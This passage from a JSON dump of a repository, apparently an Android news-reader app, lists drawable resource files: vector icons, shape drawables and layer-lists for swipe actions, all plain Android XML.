    "content": "<vector\n    android:height=\"24dp\"\n    android:width=\"24dp\"\n    android:tint=\"?attr/colorControlNormal\"\n    android:viewportHeight=\"24\"\n    android:viewportWidth=\"24\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M19,4L5,4c-1.11,0 -2,0.9 -2,2v12c0,1.1 0.89,2 2,2h4v-2L5,18L5,8h14v10h-4v2h4c1.1,0 2,-0.9 2,-2L21,6c0,-1.1 -0.89,-2 -2,-2zM12,10l-4,4h3v6h2v-6h3l-4,-4z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_pause_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#ffffff\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M6,19h4L10,5L6,5v14zM14,5v14h4L18,5h-4z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_add_black_24dp.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#3A3A3A\"\n    android:viewportHeight=\"24.0\" android:viewportWidth=\"24.0\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"#FF000000\" android:pathData=\"M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6v2z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_baseline_account_circle_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"?colorOnSurfaceVariant\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M12,2C6.48,2 2,6.48 2,12s4.48,10 10,10 10,-4.48 10,-10S17.52,2 12,2zM12,5c1.66,0 3,1.34 3,3s-1.34,3 -3,3 -3,-1.34 -3,-3 1.34,-3 3,-3zM12,19.2c-2.5,0 -4.71,-1.28 -6,-3.22 0.03,-1.99 4,-3.08 6,-3.08 1.99,0 5.97,1.09 6,3.08 -1.29,1.94 -3.5,3.22 -6,3.22z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_baseline_create_new_folder_24_black.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\">\n  <path\n      android:fillColor=\"@android:color/black\"\n      android:pathData=\"M20,6h-8l-2,-2L4,4c-1.11,0 -1.99,0.89 -1.99,2L2,18c0,1.11 0.89,2 2,2h16c1.11,0 2,-0.89 2,-2L22,8c0,-1.11 -0.89,-2 -2,-2zM19,14h-3v3h-2v-3h-3v-2h3L14,9h2v3h3v2z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_baseline_folder_24.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\"\n    android:tint=\"@color/material_grey_600\">\n  <path\n      android:fillColor=\"@android:color/white\"\n      android:pathData=\"M10,4H4c-1.1,0 -1.99,0.9 -1.99,2L2,18c0,1.1 0.9,2 2,2h16c1.1,0 2,-0.9 2,-2V8c0,-1.1 -0.9,-2 -2,-2h-8l-2,-2z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_baseline_play_arrow_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#FFFFFF\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M8,5v14l11,-7z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_baseline_play_arrow_24_theme_aware.xml",
    "content": "<vector\n    android:height=\"24dp\"\n    android:width=\"24dp\"\n    android:viewportHeight=\"24\"\n    android:viewportWidth=\"24\"\n    android:tint=\"?attr/colorControlNormal\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M8,5v14l11,-7z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_checkbox_black.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:tint=\"?attr/colorControlNormal\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\">\n  <path\n      android:fillColor=\"@android:color/black\"\n      android:pathData=\"M19,3L5,3c-1.11,0 -2,0.9 -2,2v14c0,1.1 0.89,2 2,2h14c1.11,0 2,-0.9 2,-2L21,5c0,-1.1 -0.89,-2 -2,-2zM10,17l-5,-5 1.41,-1.41L10,14.17l7.59,-7.59L19,8l-9,9z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_checkbox_outline_black.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:tint=\"?attr/colorControlNormal\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\">\n  <path\n      android:fillColor=\"@android:color/black\"\n      android:pathData=\"M19,5v14H5V5h14m0,-2H5c-1.1,0 -2,0.9 -2,2v14c0,1.1 0.9,2 2,2h14c1.1,0 2,-0.9 2,-2V5c0,-1.1 -0.9,-2 -2,-2z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_checkbox_outline_theme_aware.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\"\n    android:tint=\"?attr/colorControlNormal\">\n    <path\n        android:fillColor=\"@android:color/white\"\n        android:pathData=\"M19,5v14H5V5h14m0,-2H5c-1.1,0 -2,0.9 -2,2v14c0,1.1 0.9,2 2,2h14c1.1,0 2,-0.9 2,-2V5c0,-1.1 -0.9,-2 -2,-2z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_checkbox_outline_white.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:tint=\"#FFFFFF\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\">\n    <path\n        android:fillColor=\"@android:color/white\"\n        android:pathData=\"M19,5v14H5V5h14m0,-2H5c-1.1,0 -2,0.9 -2,2v14c0,1.1 0.9,2 2,2h14c1.1,0 2,-0.9 2,-2V5c0,-1.1 -0.9,-2 -2,-2z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_checkbox_theme_aware.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\"\n    android:tint=\"?attr/colorControlActivated\">\n    <path\n        android:fillColor=\"@android:color/white\"\n        android:pathData=\"M19,3L5,3c-1.11,0 -2,0.9 -2,2v14c0,1.1 0.89,2 2,2h14c1.11,0 2,-0.9 2,-2L21,5c0,-1.1 -0.89,-2 -2,-2zM10,17l-5,-5 1.41,-1.41L10,14.17l7.59,-7.59L19,8l-9,9z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_checkbox_white.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:tint=\"#FFFFFF\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\">\n    <path\n        android:fillColor=\"@android:color/white\"\n        android:pathData=\"M19,3L5,3c-1.11,0 -2,0.9 -2,2v14c0,1.1 0.89,2 2,2h14c1.11,0 2,-0.9 2,-2L21,5c0,-1.1 -0.89,-2 -2,-2zM10,17l-5,-5 1.41,-1.41L10,14.17l7.59,-7.59L19,8l-9,9z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_done_all.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#FFFFFF\"\n    android:viewportHeight=\"24.0\" android:viewportWidth=\"24.0\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"#FFFFFF\" android:pathData=\"M18,7l-1.41,-1.41 -6.34,6.34 1.41,1.41L18,7zM22.24,5.59L11.66,16.17 7.48,12l-1.41,1.41L11.66,19l12,-12 -1.42,-1.41zM0.41,13.41L6,19l1.41,-1.41L1.83,12 0.41,13.41z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_forward_30_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#000000\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M18,13c0,3.31 -2.69,6 -6,6s-6,-2.69 -6,-6s2.69,-6 6,-6v4l5,-5l-5,-5v4c-4.42,0 -8,3.58 -8,8c0,4.42 3.58,8 8,8s8,-3.58 8,-8H18z\"/>\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M10.06,15.38c-0.29,0 -0.62,-0.17 -0.62,-0.54H8.59c0,0.97 0.9,1.23 1.45,1.23c0.87,0 1.51,-0.46 1.51,-1.25c0,-0.66 -0.45,-0.9 -0.71,-1c0.11,-0.05 0.65,-0.32 0.65,-0.92c0,-0.21 -0.05,-1.22 -1.44,-1.22c-0.62,0 -1.4,0.35 -1.4,1.16h0.85c0,-0.34 0.31,-0.48 0.57,-0.48c0.59,0 0.58,0.5 0.58,0.54c0,0.52 -0.41,0.59 -0.63,0.59H9.56v0.66h0.45c0.65,0 0.7,0.42 0.7,0.64C10.71,15.11 10.5,15.38 10.06,15.38z\"/>\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M13.85,11.68c-0.14,0 -1.44,-0.08 -1.44,1.82v0.74c0,1.9 1.31,1.82 1.44,1.82c0.14,0 1.44,0.09 1.44,-1.82V13.5C15.3,11.59 13.99,11.68 13.85,11.68zM14.45,14.35c0,0.77 -0.21,1.03 -0.59,1.03c-0.38,0 -0.6,-0.26 -0.6,-1.03v-0.97c0,-0.75 0.22,-1.01 0.59,-1.01c0.38,0 0.6,0.26 0.6,1.01V14.35z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_launcher_background.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:aapt=\"http://schemas.android.com/aapt\"\n    android:width=\"108dp\"\n    android:height=\"108dp\"\n    android:autoMirrored=\"true\"\n    android:viewportWidth=\"1344\"\n    android:viewportHeight=\"1344\">\n    <path\n        android:fillType=\"evenOdd\"\n        android:pathData=\"M0,0h1344v1344h-1344z\"\n        android:strokeLineJoin=\"round\">\n        <aapt:attr name=\"android:fillColor\">\n            <gradient\n                android:endX=\"1344\"\n                android:endY=\"1.2959057E-4\"\n                android:startX=\"163.34073\"\n                android:startY=\"1344\"\n                android:type=\"linear\">\n                <item\n                    android:color=\"#FF0082C9\"\n                    android:offset=\"0\" />\n                <item\n                    android:color=\"#FF1CAFFF\"\n                    android:offset=\"1\" />\n            </gradient>\n        </aapt:attr>\n    </path>\n</vector>\n\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_launcher_foreground.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"108dp\"\n    android:height=\"108dp\"\n    android:viewportWidth=\"872.78925\"\n    android:viewportHeight=\"872.78925\">\n    <group\n        android:translateX=\"180.394635\"\n        android:translateY=\"180.394635\">\n        <path\n            android:pathData=\"M100.929,89C94.32,89 89,94.32 89,100.929v23.857c0,6.608 5.32,11.929 11.929,11.929h310.143c6.608,0 11.929,-5.32 11.929,-11.929L423,100.929C423,94.32 417.68,89 411.071,89L100.929,89zM100.929,184.429C94.32,184.429 89,189.749 89,196.357v23.857c0,6.608 5.32,11.929 11.929,11.929h214.714c6.608,0 11.929,-5.32 11.929,-11.929v-23.857c0,-6.608 -5.32,-11.929 -11.929,-11.929L100.929,184.429zM100.929,279.857C94.32,279.857 89,285.177 89,291.786v23.857c0,6.608 5.32,11.929 11.929,11.929h286.286c6.608,0 11.929,-5.32 11.929,-11.929v-23.857c0,-6.608 -5.32,-11.929 -11.929,-11.929L100.929,279.857zM100.929,375.286C94.32,375.286 89,380.606 89,387.214v23.857C89,417.68 94.32,423 100.929,423L244.071,423C250.68,423 256,417.68 256,411.071v-23.857c0,-6.608 -5.32,-11.929 -11.929,-11.929L100.929,375.286z\"\n            android:fillColor=\"#ffffff\"/>\n    </group>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_replay_10_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#000000\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M11.99,5V1l-5,5l5,5V7c3.31,0 6,2.69 6,6s-2.69,6 -6,6s-6,-2.69 -6,-6h-2c0,4.42 3.58,8 8,8s8,-3.58 8,-8S16.41,5 11.99,5z\"/>\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M10.89,16h-0.85v-3.26l-1.01,0.31v-0.69l1.77,-0.63h0.09V16z\"/>\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M15.17,14.24c0,0.32 -0.03,0.6 -0.1,0.82s-0.17,0.42 -0.29,0.57s-0.28,0.26 -0.45,0.33s-0.37,0.1 -0.59,0.1s-0.41,-0.03 -0.59,-0.1s-0.33,-0.18 -0.46,-0.33s-0.23,-0.34 -0.3,-0.57s-0.11,-0.5 -0.11,-0.82V13.5c0,-0.32 0.03,-0.6 0.1,-0.82s0.17,-0.42 0.29,-0.57s0.28,-0.26 0.45,-0.33s0.37,-0.1 0.59,-0.1s0.41,0.03 0.59,0.1c0.18,0.07 0.33,0.18 0.46,0.33s0.23,0.34 0.3,0.57s0.11,0.5 0.11,0.82V14.24zM14.32,13.38c0,-0.19 -0.01,-0.35 -0.04,-0.48s-0.07,-0.23 -0.12,-0.31s-0.11,-0.14 -0.19,-0.17s-0.16,-0.05 -0.25,-0.05s-0.18,0.02 -0.25,0.05s-0.14,0.09 -0.19,0.17s-0.09,0.18 -0.12,0.31s-0.04,0.29 -0.04,0.48v0.97c0,0.19 0.01,0.35 0.04,0.48s0.07,0.24 0.12,0.32s0.11,0.14 0.19,0.17s0.16,0.05 0.25,0.05s0.18,-0.02 0.25,-0.05s0.14,-0.09 0.19,-0.17s0.09,-0.19 0.11,-0.32s0.04,-0.29 0.04,-0.48V13.38z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_search_24dp_theme_aware.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:width=\"24dp\"\n        android:height=\"24dp\"\n        android:viewportWidth=\"24.0\"\n        android:viewportHeight=\"24.0\"\n        android:tint=\"?attr/colorControlNormal\">\n    <path\n        android:fillColor=\"@android:color/white\"\n        android:pathData=\"M15.5,14h-0.79l-0.28,-0.27C15.41,12.59 16,11.11 16,9.5 16,5.91 13.09,3 9.5,3S3,5.91 3,9.5 5.91,16 9.5,16c1.61,0 3.09,-0.59 4.23,-1.57l0.27,0.28v0.79l5,4.99L20.49,19l-4.99,-5zM9.5,14C7.01,14 5,11.99 5,9.5S7.01,5 9.5,5 14,7.01 14,9.5 11.99,14 9.5,14z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_settings_black_24dp.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#3A3A3A\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"#FF000000\" android:pathData=\"M19.1,12.9a2.8,2.8 0,0 0,0.1 -0.9,2.8 2.8,0 0,0 -0.1,-0.9l2.1,-1.6a0.7,0.7 0,0 0,0.1 -0.6L19.4,5.5a0.7,0.7 0,0 0,-0.6 -0.2l-2.4,1a6.5,6.5 0,0 0,-1.6 -0.9l-0.4,-2.6a0.5,0.5 0,0 0,-0.5 -0.4H10.1a0.5,0.5 0,0 0,-0.5 0.4L9.3,5.4a5.6,5.6 0,0 0,-1.7 0.9l-2.4,-1a0.4,0.4 0,0 0,-0.5 0.2l-2,3.4c-0.1,0.2 0,0.4 0.2,0.6l2,1.6a2.8,2.8 0,0 0,-0.1 0.9,2.8 2.8,0 0,0 0.1,0.9L2.8,14.5a0.7,0.7 0,0 0,-0.1 0.6l1.9,3.4a0.7,0.7 0,0 0,0.6 0.2l2.4,-1a6.5,6.5 0,0 0,1.6 0.9l0.4,2.6a0.5,0.5 0,0 0,0.5 0.4h3.8a0.5,0.5 0,0 0,0.5 -0.4l0.3,-2.6a5.6,5.6 0,0 0,1.7 -0.9l2.4,1a0.4,0.4 0,0 0,0.5 -0.2l2,-3.4c0.1,-0.2 0,-0.4 -0.2,-0.6ZM12,15.6A3.6,3.6 0,1 1,15.6 12,3.6 3.6,0 0,1 12,15.6Z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_share_theme_aware.xml",
    "content": "<vector\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportHeight=\"24\"\n    android:viewportWidth=\"24\"\n    android:tint=\"?attr/colorControlNormal\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"#FF000000\" android:pathData=\"M18,16.08c-0.76,0 -1.44,0.3 -1.96,0.77L8.91,12.7c0.05,-0.23 0.09,-0.46 0.09,-0.7s-0.04,-0.47 -0.09,-0.7l7.05,-4.11c0.54,0.5 1.25,0.81 2.04,0.81 1.66,0 3,-1.34 3,-3s-1.34,-3 -3,-3 -3,1.34 -3,3c0,0.24 0.04,0.47 0.09,0.7L8.04,9.81C7.5,9.31 6.79,9 6,9c-1.66,0 -3,1.34 -3,3s1.34,3 3,3c0.79,0 1.5,-0.31 2.04,-0.81l7.12,4.16c-0.05,0.21 -0.08,0.43 -0.08,0.65 0,1.61 1.31,2.92 2.92,2.92 1.61,0 2.92,-1.31 2.92,-2.92s-1.31,-2.92 -2.92,-2.92z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_share_white.xml",
    "content": "<vector\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportHeight=\"24\"\n    android:viewportWidth=\"24\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"#FFFFFF\" android:pathData=\"M18,16.08c-0.76,0 -1.44,0.3 -1.96,0.77L8.91,12.7c0.05,-0.23 0.09,-0.46 0.09,-0.7s-0.04,-0.47 -0.09,-0.7l7.05,-4.11c0.54,0.5 1.25,0.81 2.04,0.81 1.66,0 3,-1.34 3,-3s-1.34,-3 -3,-3 -3,1.34 -3,3c0,0.24 0.04,0.47 0.09,0.7L8.04,9.81C7.5,9.31 6.79,9 6,9c-1.66,0 -3,1.34 -3,3s1.34,3 3,3c0.79,0 1.5,-0.31 2.04,-0.81l7.12,4.16c-0.05,0.21 -0.08,0.43 -0.08,0.65 0,1.61 1.31,2.92 2.92,2.92 1.61,0 2.92,-1.31 2.92,-2.92s-1.31,-2.92 -2.92,-2.92z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_slow_motion_video_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#000000\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M13.05,9.79L10,7.5v9l3.05,-2.29L16,12zM13.05,9.79L10,7.5v9l3.05,-2.29L16,12zM13.05,9.79L10,7.5v9l3.05,-2.29L16,12zM11,4.07L11,2.05c-2.01,0.2 -3.84,1 -5.32,2.21L7.1,5.69c1.11,-0.86 2.44,-1.44 3.9,-1.62zM5.69,7.1L4.26,5.68C3.05,7.16 2.25,8.99 2.05,11h2.02c0.18,-1.46 0.76,-2.79 1.62,-3.9zM4.07,13L2.05,13c0.2,2.01 1,3.84 2.21,5.32l1.43,-1.43c-0.86,-1.1 -1.44,-2.43 -1.62,-3.89zM5.68,19.74C7.16,20.95 9,21.75 11,21.95v-2.02c-1.46,-0.18 -2.79,-0.76 -3.9,-1.62l-1.42,1.43zM22,12c0,5.16 -3.92,9.42 -8.95,9.95v-2.02C16.97,19.41 20,16.05 20,12s-3.03,-7.41 -6.95,-7.93L13.05,2.05C18.08,2.58 22,6.84 22,12z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_star_24_theme_aware.xml",
    "content": "<vector\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportHeight=\"24\"\n    android:viewportWidth=\"24\"\n    android:tint=\"?attr/colorControlActivated\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M12,17.27L18.18,21l-1.64,-7.03L22,9.24l-7.19,-0.61L12,2 9.19,8.63 2,9.24l5.46,4.73L5.82,21z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_star_black_24dp.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:width=\"24dp\"\n        android:height=\"24dp\"\n        android:viewportWidth=\"24.0\"\n        android:viewportHeight=\"24.0\">\n    <path\n        android:fillColor=\"#FF000000\"\n        android:pathData=\"M12,17.27L18.18,21l-1.64,-7.03L22,9.24l-7.19,-0.61L12,2 9.19,8.63 2,9.24l5.46,4.73L5.82,21z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_star_border_24dp_theme_aware.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:width=\"24dp\"\n        android:height=\"24dp\"\n        android:viewportWidth=\"24\"\n        android:viewportHeight=\"24\"\n        android:tint=\"?attr/colorControlNormal\">\n    <path\n        android:fillColor=\"#FFFFFFFF\"\n        android:pathData=\"M22,9.24l-7.19,-0.62L12,2 9.19,8.63 2,9.24l5.46,4.73L5.82,21 12,17.27 18.18,21l-1.63,-7.03L22,9.24zM12,15.4l-3.76,2.27 1,-4.28 -3.32,-2.88 4.38,-0.38L12,6.1l1.71,4.04 4.38,0.38 -3.32,2.88 1,4.28L12,15.4z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_star_white_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#FFFFFF\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M12,17.27L18.18,21l-1.64,-7.03L22,9.24l-7.19,-0.61L12,2 9.19,8.63 2,9.24l5.46,4.73L5.82,21z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_visibility_24.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"24dp\"\n    android:height=\"24dp\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\">\n    <path\n        android:fillColor=\"@android:color/white\"\n        android:pathData=\"M12,4.5C7,4.5 2.73,7.61 1,12c1.73,4.39 6,7.5 11,7.5s9.27,-3.11 11,-7.5c-1.73,-4.39 -6,-7.5 -11,-7.5zM12,17c-2.76,0 -5,-2.24 -5,-5s2.24,-5 5,-5 5,2.24 5,5 -2.24,5 -5,5zM12,9c-1.66,0 -3,1.34 -3,3s1.34,3 3,3 3,-1.34 3,-3 -1.34,-3 -3,-3z\" />\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/incognito.xml",
    "content": "<!-- drawable/incognito.xml -->\n<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:height=\"24dp\"\n    android:width=\"24dp\"\n    android:viewportWidth=\"24\"\n    android:viewportHeight=\"24\"\n    android:tint=\"?attr/colorControlNormal\">\n    <path android:fillColor=\"#FFFFFF\" android:pathData=\"M12,3C9.31,3 7.41,4.22 7.41,4.22L6,9H18L16.59,4.22C16.59,4.22 14.69,3 12,3M12,11C9.27,11 5.39,11.54 5.13,11.59C4.09,11.87 3.25,12.15 2.59,12.41C1.58,12.75 1,13 1,13H23C23,13 22.42,12.75 21.41,12.41C20.75,12.15 19.89,11.87 18.84,11.59C18.84,11.59 14.82,11 12,11M7.5,14A3.5,3.5 0 0,0 4,17.5A3.5,3.5 0 0,0 7.5,21A3.5,3.5 0 0,0 11,17.5C11,17.34 11,17.18 10.97,17.03C11.29,16.96 11.63,16.9 12,16.91C12.37,16.91 12.71,16.96 13.03,17.03C13,17.18 13,17.34 13,17.5A3.5,3.5 0 0,0 16.5,21A3.5,3.5 0 0,0 20,17.5A3.5,3.5 0 0,0 16.5,14C15.03,14 13.77,14.9 13.25,16.19C12.93,16.09 12.55,16 12,16C11.45,16 11.07,16.09 10.75,16.19C10.23,14.9 8.97,14 7.5,14M7.5,15A2.5,2.5 0 0,1 10,17.5A2.5,2.5 0 0,1 7.5,20A2.5,2.5 0 0,1 5,17.5A2.5,2.5 0 0,1 7.5,15M16.5,15A2.5,2.5 0 0,1 19,17.5A2.5,2.5 0 0,1 16.5,20A2.5,2.5 0 0,1 14,17.5A2.5,2.5 0 0,1 16.5,15Z\" />\n</vector>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/rounded_rectangle.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<shape xmlns:android=\"http://schemas.android.com/apk/res/android\" android:shape=\"rectangle\">\n    <solid android:color=\"#00ffffff\" />\n    <padding android:left=\"6dp\"\n        android:top=\"6dp\"\n        android:right=\"6dp\"\n        android:bottom=\"6dp\" />\n    <corners android:radius=\"12dp\" />\n    <stroke android:width=\"6dp\" android:color=\"#ffffffff\" />\n</shape>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/shadow.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- res/drawable/myrect.xml -->\n<shape\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:shape=\"rectangle\">\n\n    <solid android:color=\"#31454545\" />\n    <corners android:radius=\"8dp\" />\n</shape>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/swipe_markasread.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item>\n        <selector>\n            <item android:state_above_anchor=\"false\"><color android:color=\"@color/swipeBackground\" /></item>\n            <item android:state_above_anchor=\"true\"><color android:color=\"@color/markasreadColor\" /></item>\n        </selector>\n    </item>\n    <item\n        android:left=\"5dp\"\n        android:right=\"5dp\"\n        android:drawable=\"@drawable/ic_checkbox_white\"\n        android:gravity=\"center\">\n    </item>\n</layer-list>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/swipe_openinbrowser.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item>\n        <selector>\n            <item android:state_above_anchor=\"false\"><color android:color=\"@color/swipeBackground\" /></item>\n            <item android:state_above_anchor=\"true\"><color android:color=\"@color/material_grey_700\" /></item>\n        </selector>\n    </item>\n    <item\n        android:left=\"5dp\"\n        android:right=\"5dp\"\n        android:drawable=\"@drawable/ic_action_open_in_browser_24\"\n        android:gravity=\"center\">\n    </item>\n</layer-list>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/swipe_setstarred.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item>\n        <selector>\n            <item android:state_above_anchor=\"false\"><color android:color=\"@color/swipeBackground\" /></item>\n            <item android:state_above_anchor=\"true\"><color android:color=\"@color/starredColor\" /></item>\n        </selector>\n    </item>\n    <item\n        android:right=\"5dp\"\n        android:left=\"5dp\"\n        android:drawable=\"@drawable/ic_star_white_24\"\n        android:gravity=\"center\">\n    </item>\n</layer-list>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/swipe_share.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item>\n        <selector>\n            <item android:state_above_anchor=\"false\"><color android:color=\"@color/swipeBackground\" /></item>\n            <item android:state_above_anchor=\"true\"><color android:color=\"@color/tertiary\" /></item>\n        </selector>\n    </item>\n    <item\n        android:left=\"5dp\"\n        android:right=\"5dp\"\n        android:drawable=\"@drawable/ic_share_white\"\n        android:gravity=\"center\">\n    </item>\n</layer-list>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/widget_background.xml",
